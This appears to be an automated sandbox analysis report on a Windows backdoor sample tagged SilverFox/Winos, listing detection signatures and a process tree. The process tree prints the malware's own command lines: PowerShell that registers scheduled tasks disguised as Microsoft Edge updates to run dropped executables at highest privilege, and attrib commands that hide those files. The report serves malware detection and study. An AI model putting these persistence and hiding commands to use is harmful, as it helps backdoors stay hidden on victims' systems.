Edit tour

Windows Analysis Report
T1#U52a9#U624b1.0.1.exe

Overview

General Information

Sample name:	T1#U52a9#U624b1.0.1.exe renamed because original name is a hash value
Original sample name:	T11.0.1.exe
Analysis ID:	1581935
MD5:	477d3b9ee775c048f96b450dd00ba490
SHA1:	81f1991882b1bf1cb4b169da6c94b772517ab1eb
SHA256:	799084320848500fef5673799157b94c1db7b74f9651ffe0af326051973cf490
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

Score:	46
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

AI detected suspicious sample

Creates files in alternative data streams (ADS)

Found pyInstaller with non standard icon

Loading BitLocker PowerShell Module

Query firmware table information (likely to detect VMs)

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Suspicious powershell command line found

Tries to detect sandboxes / dynamic malware analysis system (QueryWinSAT)

Uses Register-ScheduledTask to add task schedules

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to many different domains

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Form action URLs do not match main URL

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Installs a global mouse hook

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

T1#U52a9#U624b1.0.1.exe (PID: 2256 cmdline: "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe" MD5: 477D3B9EE775C048F96B450DD00BA490)

T1#U52a9#U624b1.0.1.exe (PID: 5300 cmdline: "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe" MD5: 477D3B9EE775C048F96B450DD00BA490)

powershell.exe (PID: 3004 cmdline: powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' " MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3568 cmdline: powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../WinHex.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnceMe' -Description 'MicrosoftEdgeUpdatesOnce once You' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnceMe' " MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1852 cmdline: C:\Windows\system32\cmd.exe /c "attrib +s +a +h C:\Users\user\AppData\LineInst.exe&&attrib +s +a +h C:\Users\user\AppData\WinHex.exe&&attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7296 cmdline: attrib +s +a +h C:\Users\user\AppData\LineInst.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

attrib.exe (PID: 7324 cmdline: attrib +s +a +h C:\Users\user\AppData\WinHex.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

attrib.exe (PID: 7344 cmdline: attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

WinHex.exe (PID: 7412 cmdline: C:\Users\user\AppData\Roaming\../WinHex.exe MD5: EFDC5DBA52333C0F5EEEDB0308FBE2D0)

WinHex.exe (PID: 7516 cmdline: C:\Users\user\AppData\Roaming\../WinHex.exe MD5: EFDC5DBA52333C0F5EEEDB0308FBE2D0)

cmd.exe (PID: 7588 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\SystemUpdate.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SystemUpdate.exe (PID: 7664 cmdline: C:\Users\user\AppData\SystemUpdate.exe MD5: 6BDDA8BA15F8F472FE7D065689E7D35D)

SystemUpdate.exe (PID: 7692 cmdline: C:\Users\user\AppData\SystemUpdate.exe MD5: 6BDDA8BA15F8F472FE7D065689E7D35D)

cmd.exe (PID: 7760 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7804 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7968 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 8016 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 8072 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 8140 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 8172 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7304 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6968 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7252 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 1860 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5308 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7264 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7632 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 3448 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7816 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7700 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4900 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7856 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7888 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 1420 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4584 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 1700 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5800 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7240 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5012 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6432 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7916 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 1928 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1352 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 4324 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6400 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 4412 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7680 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

chrome.exe (PID: 6880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=532930 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=2004,i,15154464915754026399,3836572238122876390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 1460 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 900 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6768 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7672 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6880 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3916 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 5348 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1868 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 2724 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4572 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 2656 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5328 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 2764 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7640 cmdline: schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7804 cmdline: C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

LineInst.exe (PID: 7420 cmdline: C:\Users\user\AppData\Roaming\../LineInst.exe MD5: AA2AD37BB74C05A49417E3D2F1BD89CE)

SetupHost.exe (PID: 7508 cmdline: "C:\$Windows.~WS\Sources\SetupHost.Exe" /Download /Web MD5: A5D94F9587F97E9C674447447721B77F)

vdsldr.exe (PID: 7580 cmdline: C:\Windows\System32\vdsldr.exe -Embedding MD5: 472A05A6ADC167E9E5D2328AD98E3067)

chrome.exe (PID: 2188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6588 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1936,i,15628791438985490340,2968363924654632854,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

svchost.exe (PID: 1712 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

chrome.exe (PID: 5288 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,4475010063348466522,12630456280325372382,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6204 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1968,i,58944968473598260,14066714597260275696,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6732 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7788 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1988,i,2397862122718210806,12237267871317461974,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2004 --field-trial-handle=2024,i,1043454292865957278,12392202252195058562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2200 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,4017807827871240827,294443514438666825,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3096 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1968 --field-trial-handle=1936,i,10198018738591083414,2483585144497047882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,5238929235679066905,12786035706151781453,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7032 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1968,i,6157079858765921233,5568951314403497470,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5632 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2016,i,15539671429910762002,15161021274924515465,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5940 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1148,i,2046368302589155641,3041774423784538269,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3428 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,11408168899703520178,4411795298762762360,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe, ProcessId: 5300, TargetFilename: C:\Users\user\AppData\LineInst.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

